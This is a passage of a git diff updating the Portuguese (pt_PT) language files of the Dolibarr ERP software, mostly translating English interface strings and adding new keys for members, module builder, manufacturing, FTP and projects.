ShowIntervention=Mostrar intervenção @@ -867,8 +878,8 @@ Denied=Negada ListOf=Lista de %s ListOfTemplates=Lista de modelos Gender=Género -Genderman=Male -Genderwoman=Female +Genderman=Homem +Genderwoman=Mulher Genderother=Outro ViewList=Ver Lista ViewGantt=Vista de Gantt @@ -888,6 +899,9 @@ MassFilesArea=Área para os ficheiros criados através de ações em massa ShowTempMassFilesArea=Mostrar área para os ficheiros criados através de ações em massa ConfirmMassDeletion=Confirmação de Múltiplas Eliminações ConfirmMassDeletionQuestion=Tem a certeza de que quer apagar os %s registo(s) seleccionado(s)? +ConfirmMassClone=Confirmação de clonagem em massa +ConfirmMassCloneQuestion=Selecione o projeto para clonar +ConfirmMassCloneToOneProject=Clonar para projeto %s RelatedObjects=Objetos relacionados ClassifyBilled=Classificar como faturado ClassifyUnbilled=Classificar como não faturado @@ -903,24 +917,26 @@ ExportFilteredList=Exportar lista filtrada ExportList=Exportar lista ExportOptions=Opções de exportação IncludeDocsAlreadyExported=Os documentos incluídos já foram exportados -ExportOfPiecesAlreadyExportedIsEnable=A exportação de pedaços já exportados está activada -ExportOfPiecesAlreadyExportedIsDisable=A exportação de pedaços já exportados está desactivada. +ExportOfPiecesAlreadyExportedIsEnable=Documentos já exportados estão visíveis e serão exportados +ExportOfPiecesAlreadyExportedIsDisable=Documentos já exportados estão ocultos e não serão exportados AllExportedMovementsWereRecordedAsExported=Todos os movimentos exportados foram marcados como exportados NotAllExportedMovementsCouldBeRecordedAsExported=Nem todos os movimentos exportados foram marcados como exportados Miscellaneous=Diversos Calendar=Calendario GroupBy=Agrupar por... +GroupByX=Agrupar por %s ViewFlatList=Vista de lista ViewAccountList=Ver livro-mestre ViewSubAccountList=Ver livro-mestre da subconta RemoveString=Remover texto '%s' -SomeTranslationAreUncomplete=Some of the languages offered may be only partially translated or may contain errors. Please help to correct your language by registering at https://transifex.com/projects/p/dolibarr/ to add your improvements. -DirectDownloadLink=Public download link -PublicDownloadLinkDesc=Only the link is required to download the file -DirectDownloadInternalLink=Private download link -PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file +SomeTranslationAreUncomplete=Alguns dos idiomas oferecidos podem estar apenas parcialmente traduzidos ou conter erros. Ajude a corrigir o seu idioma registando-se em https://transifex.com/projects/p/dolibarr/ para adicionar as suas melhorias. +DirectDownloadLink=Link de download público +PublicDownloadLinkDesc=Apenas o link é necessário para fazer download do arquivo +DirectDownloadInternalLink=Link de download privado +PrivateDownloadLinkDesc=Necessita de estar conectado e de permissões para visualizar ou fazer download do arquivo Download=Download DownloadDocument=Download do documento +DownloadSignedDocument=Fazer download do documento assinado ActualizeCurrency=Atualizar taxa de conversão da moeda Fiscalyear=Ano Fiscal ModuleBuilder=Construtor de Módulos e Aplicações @@ -1031,7 +1047,7 @@ SearchIntoContacts=Contactos SearchIntoMembers=Membros SearchIntoUsers=Utilizadores SearchIntoProductsOrServices=Produtos ou serviços -SearchIntoBatch=Lots / Serials +SearchIntoBatch=Lotes / Séries SearchIntoProjects=Projetos SearchIntoMO=Ordens de Fabrico SearchIntoTasks=Tarefas @@ -1046,6 +1062,7 @@ SearchIntoContracts=contractos SearchIntoCustomerShipments=Expedições do cliente SearchIntoExpenseReports=Relatórios de despesas SearchIntoLeaves=Sair +SearchIntoKM=Base conhecimento SearchIntoTickets=Tickets SearchIntoCustomerPayments=Pagamentos de clientes SearchIntoVendorPayments=Pagamentos a fornecedores @@ -1068,13 +1085,13 @@ KeyboardShortcut=Atalho de teclado AssignedTo=Atribuído a Deletedraft=Eliminar rascunho ConfirmMassDraftDeletion=Confirmação de eliminação múltipla de rascunhos -FileSharedViaALink=File shared with a public link +FileSharedViaALink=Arquivo compartilhado com um link público SelectAThirdPartyFirst=Seleccione um terceiro em primeiro... YouAreCurrentlyInSandboxMode=Você está atualmente no modo %s "sandbox" Inventory=Inventário AnalyticCode=Código analítico TMenuMRP=MRP -ShowCompanyInfos=Show company infos +ShowCompanyInfos=Mostrar informações da empresa ShowMoreInfos=Mostrar Mais Informações NoFilesUploadedYet=Por favor envie um documento em primeiro SeePrivateNote=Ver nota privada @@ -1083,7 +1100,7 @@ ValidFrom=Válido desde ValidUntil=Válido até NoRecordedUsers=Sem utilizadores ToClose=Para fechar -ToRefuse=To refuse +ToRefuse=Recusar ToProcess=Por processar ToApprove=Para aprovar GlobalOpenedElemView=Vista global @@ -1117,6 +1134,7 @@ DeleteFileText=Tem a certeza de que quer eliminar este ficheiro? ShowOtherLanguages=Mostrar outros idiomas SwitchInEditModeToAddTranslation=Mude para o modo de edição para adicionar traduções para este idioma NotUsedForThisCustomer=Não utilizado para este cliente +NotUsedForThisVendor=Não usado para este Vendedor AmountMustBePositive=Total deve ser positivo ByStatus=Por estado InformationMessage=Informação @@ -1134,49 +1152,78 @@ SecurityTokenHasExpiredSoActionHasBeenCanceledPleaseRetry=O token de segurança UpToDate=Actualizado OutOfDate=Desactualizado EventReminder=Lembrete de evento -UpdateForAllLines=Update for all lines -OnHold=On hold -Civility=Civility -AffectTag=Affect Tag -CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? -CategTypeNotFound=No tag type found for type of records -CopiedToClipboard=Copied to clipboard -InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. -ConfirmCancel=Are you sure you want to cancel -EmailMsgID=Email MsgID -SetToEnabled=Set to enabled -SetToDisabled=Set to disabled -ConfirmMassEnabling=mass enabling confirmation -ConfirmMassEnablingQuestion=Are you sure you want to enable the %s selected record(s)? -ConfirmMassDisabling=mass disabling confirmation -ConfirmMassDisablingQuestion=Are you sure you want to disable the %s selected record(s)? -RecordsEnabled=%s record(s) enabled -RecordsDisabled=%s record(s) disabled -RecordEnabled=Record enabled -RecordDisabled=Record disabled -Forthcoming=Forthcoming -Currently=Currently -ConfirmMassLeaveApprovalQuestion=Are you sure you want to approve the %s selected record(s)? -ConfirmMassLeaveApproval=Mass leave approval confirmation -RecordAproved=Record approved -RecordsApproved=%s Record(s) approved -Properties=Properties -hasBeenValidated=%s has been validated +UpdateForAllLines=Atualização para todas as linhas +OnHold=Em espera +Civility=Civilidade +AffectTag=Atribuir uma Etiqueta +AffectUser=Atribuir um Utilizador +SetSupervisor=Definir o supervisor +CreateExternalUser=Criar utilizador externo +ConfirmAffectTag=Atribuição de Etiqueta em massa +ConfirmAffectUser=Atribuição de Utilizador em massa +ProjectRole=Função atribuída em cada projeto/oportunidade +TasksRole=Função atribuída em cada tarefa (se usado) +ConfirmSetSupervisor=Designação de Supervisor em massa +ConfirmUpdatePrice=Escolha uma taxa aumento/diminuição do preço +ConfirmAffectTagQuestion=Tem a certeza de que deseja atribuir etiquetas aos %s registos selecionados? +ConfirmAffectUserQuestion=Tem a certeza de que deseja atribuir Utilizadores aos %s registos selecionados? +ConfirmSetSupervisorQuestion=Tem a certeza de que deseja designar o Supervisor para os %s registos selecionados? +ConfirmUpdatePriceQuestion=Tem a certeza de que deseja atualizar o preço dos %s registos selecionados? +CategTypeNotFound=Nenhuma etiqueta encontrada para o tipo de registo +Rate=Tipo +SupervisorNotFound=Supervisor não encontrado +CopiedToClipboard=Copiado +InformationOnLinkToContract=Este montante é apenas o total de todas as linhas do contrato. Nenhuma noção de tempo é tida em consideração. +ConfirmCancel=Tem certeza que deseja cancelar +EmailMsgID=E-mail MsgID +EmailDate=Data do e-mail +SetToStatus=Definir para o estado %s +SetToEnabled=Definir como ativado +SetToDisabled=Definir como desativado +ConfirmMassEnabling=confirmação de ativação em massa +ConfirmMassEnablingQuestion=Tem a certeza de que deseja ativar os %s registos selecionados? +ConfirmMassDisabling=confirmação de desativação em massa +ConfirmMassDisablingQuestion=Tem a certeza de que deseja desativar os %s registos selecionados? +RecordsEnabled=%s registo(s) ativado(s) +RecordsDisabled=%s registo(s) desativado(s) +RecordEnabled=Registo ativado +RecordDisabled=Registo desativado +Forthcoming=Em breve +Currently=Atualmente +ConfirmMassLeaveApprovalQuestion=Tem a certeza de que deseja aprovar os %s registos selecionados? +ConfirmMassLeaveApproval=Confirmação de aprovação de ausência em massa +RecordAproved=Registo aprovado +RecordsApproved=%s Registo(s) aprovado(s) +Properties=Propriedades +hasBeenValidated=%s foi validado ClientTZ=Fuso Horário do Cliente (utilizador) -NotClosedYet=Not yet closed -ClearSignature=Reset signature -CanceledHidden=Canceled hidden -CanceledShown=Canceled shown +NotClosedYet=Ainda não encerrado +ClearSignature=Redefinir assinatura +CanceledHidden=Cancelado oculto +CanceledShown=Cancelado apresentado Terminate=Cancelar Terminated=Inativo -AddLineOnPosition=Add line on position (at the end if empty) -ConfirmAllocateCommercial=Assign sales representative confirmation -ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected -YourMessage=Your message -YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. -UrlToCheck=Url to check -Automation=Automation +AddLineOnPosition=Adicionar linha na posição (ou no final, se estiver vazio) +ConfirmAllocateCommercial=Confirmação de designação de representante de vendas +ConfirmAllocateCommercialQuestion=Tem a certeza de que deseja atribuir os %s registos selecionados? +CommercialsAffected=Representantes de vendas designados +CommercialAffected=Representante de vendas designado +YourMessage=Sua mensagem +YourMessageHasBeenReceived=A sua mensagem foi recebida. Responderemos ou entraremos em contacto o mais breve possível. +UrlToCheck=URL a verificar +Automation=Automação +CreatedByEmailCollector=Criado por coletor de e-mail +CreatedByPublicPortal=Criado a partir do portal público +UserAgent=Agente utilizador +InternalUser=Utilizador interno +ExternalUser=Utilizador externo +NoSpecificContactAddress=Sem contacto ou endereço específico +NoSpecificContactAddressBis=Esta aba é dedicada a forçar contactos ou endereços específicos para o objeto atual. Use-a somente se desejar definir um ou vários contactos ou endereços específicos para o objeto quando as informações do terceiro não forem suficientes ou precisas. +HideOnVCard=Ocultar %s +AddToContacts=Adicionar endereço aos meus contactos +LastAccess=Último acesso +UploadAnImageToSeeAPhotoHere=Carregue uma imagem da aba %s para ver uma foto aqui +LastPasswordChangeDate=Data da última alteração de senha +PublicVirtualCardUrl=URL da página do cartão de visita virtual +PublicVirtualCard=Cartão de visita virtual +TreeView=Vista em árvore diff --git a/htdocs/langs/pt_PT/members.lang b/htdocs/langs/pt_PT/members.lang index b5bedee77b4..04ea205ad4f 100644 --- a/htdocs/langs/pt_PT/members.lang +++ b/htdocs/langs/pt_PT/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Outro membro (nome: %s, login: %s) ErrorUserPermissionAllowsToLinksToItselfOnly=Por motivos de segurança, você deve ser concedido permissões para editar todos os usuários para poder ligar um membro de um usuário que não é seu. SetLinkToUser=Link para um usuário Dolibarr SetLinkToThirdParty=Link para uma Dolibarr terceiro +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Lista de Membros MembersListToValid=Lista de Membros rascunho (a Confirmar) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Novo membro @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=O tipo de membro não pode ser excluído NewSubscription=Nova filiação NewSubscriptionDesc=Este formulário permite-lhe gravar sua inscrição como um novo membro da fundação. Se você deseja renovar a sua assinatura (se já for membro), entre em contato com Conselho da Fundação vez por %s e-mail. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Duração +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Em atraso SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Conteúdo do seu cartão de membro # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Queremos que você saiba que sua solicitação de adesão foi recebida.

      ThisIsContentOfYourMembershipWasValidated=Queremos informar que sua associação foi validada com as seguintes informações:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Volume de negócios (para uma empresa) ou do Orçamento (para uma fundação) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Ir a página de pagamento online integrado +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Por natureza MembersStatisticsByProperties=Estatísticas dos membros por natureza VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/pt_PT/modulebuilder.lang b/htdocs/langs/pt_PT/modulebuilder.lang index 76cdf48221d..cd9191da596 100644 --- a/htdocs/langs/pt_PT/modulebuilder.lang +++ b/htdocs/langs/pt_PT/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Path where modules are generated/edited (first directory for external modules defined into %s): %s ModuleBuilderDesc3=Módulos gerados / editáveis ​​encontrados: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Um módulo é detectado como 'editável' quando o arquivo %s ? Isso irá mudar o código na classe PHP, mas também removerá a coluna da definição da tabela do objeto. NotNull=Não nulo NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=É uma medida DirScanned=Diretório varrido NoTrigger=Nenhum gatilho NoWidget=Nenhum widget -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=Lista de entradas do menu ListOfDictionariesEntries=List of dictionaries entries ListOfPermissionsDefined=Lista de permissões definidas SeeExamples=Veja exemplos aqui -EnabledDesc=Condição para ter este campo ativo (Exemplos: 1 ou $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Display on PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=O valor do campo pode ser acumulado para obter um total na lista? (Exemplos: 1 ou 0) SearchAllDesc=O campo é usado para fazer uma pesquisa a partir da ferramenta de pesquisa rápida? (Exemplos: 1 ou 0) SpecDefDesc=Digite aqui toda a documentação que você deseja fornecer com seu módulo que ainda não está definido por outras guias. Você pode usar .md ou melhor, a rica sintaxe .asciidoc. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Use a specific editor URL UseSpecificFamily = Use a specific family UseSpecificAuthor = Use a specific author UseSpecificVersion = Use a specific initial version -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=If you check this, some code will be generated to add a "Generate document" box on the record. -ShowOnCombobox=Show value into combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Key for tooltip CSSClass=CSS for edit/create form CSSViewClass=CSS for read form CSSListClass=CSS for list NotEditable=Not editable ForeignKey=Foreign key -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii to HTML converter AsciiToPdfConverter=Ascii to PDF converter TableNotEmptyDropCanceled=Table not empty. Drop has been canceled. ModuleBuilderNotAllowed=The module builder is available but not allowed to your user. ImportExportProfiles=Import and export profiles -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/pt_PT/mrp.lang b/htdocs/langs/pt_PT/mrp.lang index 9be23acab93..e04dfdf4784 100644 --- a/htdocs/langs/pt_PT/mrp.lang +++ b/htdocs/langs/pt_PT/mrp.lang @@ -11,8 +11,8 @@ Bom=Faturas do Material BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Configuração do módulo de FM -ListOfBOMs=Lista das faturas do material - FM -ListOfManufacturingOrders=Lista das Encomendas de Manufaturação +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Encomendas de Manufatura NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
      Note: Products with the property 'Nature of product' = 'Raw material' are not visible into this list. BOMsNumberingModules=Modelos de numeração de FM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Are you sure you want to clone the bill of materials ConfirmCloneMo=Are you sure you want to clone the Manufacturing Order %s ? ManufacturingEfficiency=Eficiência de manufaturação ConsumptionEfficiency=Eficiência de consumo +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Value of 0.95 means an average of 5%% of loss of produced product DeleteBillOfMaterials=Eliminar Faturas de Materiais @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=For a quantity to disassemble of %s ConfirmValidateMo=Are you sure you want to validate this Manufacturing Order? ConfirmProductionDesc=By clicking on '%s', you will validate the consumption and/or production for the quantities set. This will also update the stock and record stock movements. ProductionForRef=Production of %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Close automatically the Manufacturing Order if quantities to consume and to produce are reached NoStockChangeOnServices=Nenhuma alteração de ''stock'' nos serviços ProductQtyToConsumeByMO=Product quantity still to consume by open MO @@ -80,6 +83,7 @@ ProductsToProduce=Produtos para produzir UnitCost=Custo unitário TotalCost=Custo total BOMTotalCost=The cost to produce this BOM based on cost of each quantity and product to consume (use Cost price if defined, else Average Weighted Price if defined, else the Best purchase price) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=You must first have started the production to close a Manufacturing Order (See tab '%s'). But you can Cancel it. ErrorAVirtualProductCantBeUsedIntoABomOrMo=A kit can't be used into a BOM or a MO Workstation=Workstation @@ -107,3 +111,10 @@ THMEstimatedHelp=This rate makes it possible to define a forecast cost of the it BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/pt_PT/other.lang b/htdocs/langs/pt_PT/other.lang index a52c82329ee..33db248cf58 100644 --- a/htdocs/langs/pt_PT/other.lang +++ b/htdocs/langs/pt_PT/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Orçamento validado Notify_PROPAL_CLOSE_SIGNED=Proposta do cliente fechada assinada +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Proposta do cliente fechada recusada +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Orçamento enviado por correio Notify_WITHDRAW_TRANSMIT=Retirada de transmissão Notify_WITHDRAW_CREDIT=Retirada de crédito @@ -181,6 +183,7 @@ SizeUnitfoot=pé SizeUnitpoint=ponto BugTracker=Incidencias SendNewPasswordDesc=Este formulário permite-lhe solicitar uma nova palavra-passe. Esta será enviada para o seu endereço de e-mail.
      A alteração será aplicada quando clicar na hiperligação de confirmação na mensagem.
      Verifique a sua caixa de entrada. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Voltar à página de iniciar a sessão AuthenticationDoesNotAllowSendNewPassword=o modo de autenticação de Dolibarr está configurado como "%s".
      em este modo Dolibarr não pode conocer ni modificar a sua palavra-passe
      Contacte com a sua administrador para conocer as modalidades de alterar. EnableGDLibraryDesc=Instale ou ative a biblioteca GD na instalação do PHP para usar esta opção. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Fechar Autofill = Autofill + +# externalsite +ExternalSiteSetup=Configurar hiperligação para o site da Web externo +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=O módulo Site Externo não está configurado correctamente. +ExampleMyMenuEntry=Minha entrada de menu + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Falha ao remover o ficheiro: %s. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Modo passivo +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Falha a obter os ficheiros%s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/pt_PT/projects.lang b/htdocs/langs/pt_PT/projects.lang index f72fb9fa22b..7074a9b4f3c 100644 --- a/htdocs/langs/pt_PT/projects.lang +++ b/htdocs/langs/pt_PT/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Esta visualização apresenta todos os projetos e tarefas que es TasksDesc=Esta visualização apresenta todos os projetos e tarefas (as suas permissões de utilizador concedem-lhe permissão para ver tudo). AllTaskVisibleButEditIfYouAreAssigned=Todas as tarefas para projetos qualificados são visíveis, mas você pode inserir o tempo apenas para a tarefa atribuída ao usuário selecionado. Atribuir tarefa se você precisar inserir tempo nela. OnlyYourTaskAreVisible=Only tasks assigned to you are visible. If you need to enter time on a task and if the task is not visible here, then you need to assign the task to yourself. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Tarefas dos projetos ProjectCategories=Etiquetas/categorias de projeto NewProject=Novo projeto @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Leva quantidade de projetos abertos por sta OpportunitiesStatusForProjects=Leva quantidade de projetos por status ShowProject=Mostrar Projeto ShowTask=Ver tarefa +SetThirdParty=Set third party SetProject=Definir Projeto +OutOfProject=Out of project NoProject=Nenhum projeto definido ou possuído NbOfProjects=Number of projects NbOfTasks=Number of tasks @@ -122,7 +125,8 @@ ValidateProject=Validar projeto ConfirmValidateProject=Tem certeza de que deseja validar este projeto? CloseAProject=Fechar projeto ConfirmCloseAProject=Tem a certeza de que deseja fechar este projeto? -AlsoCloseAProject=Também feche o projeto (mantenha-o aberto se você ainda precisar seguir as tarefas de produção) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Reabrir projeto ConfirmReOpenAProject=Tem a certeza de que deseja reabrir este projeto? ProjectContact=Contactos do projeto @@ -165,7 +169,7 @@ OpportunityProbability=Probabilidade de chumbo OpportunityProbabilityShort=Lead probab. OpportunityAmount=Quantidade de chumbo OpportunityAmountShort=Lead amount -OpportunityWeightedAmount=Opportunity weighted amount +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. weighted amount OpportunityAmountAverageShort=Average lead amount OpportunityAmountWeigthedShort=Weighted lead amount @@ -238,7 +242,7 @@ OppStatusPENDING=Pendente OppStatusWON=Ganho OppStatusLOST=Perdido Budget=Orçamento -AllowToLinkFromOtherCompany=Allow to link project from 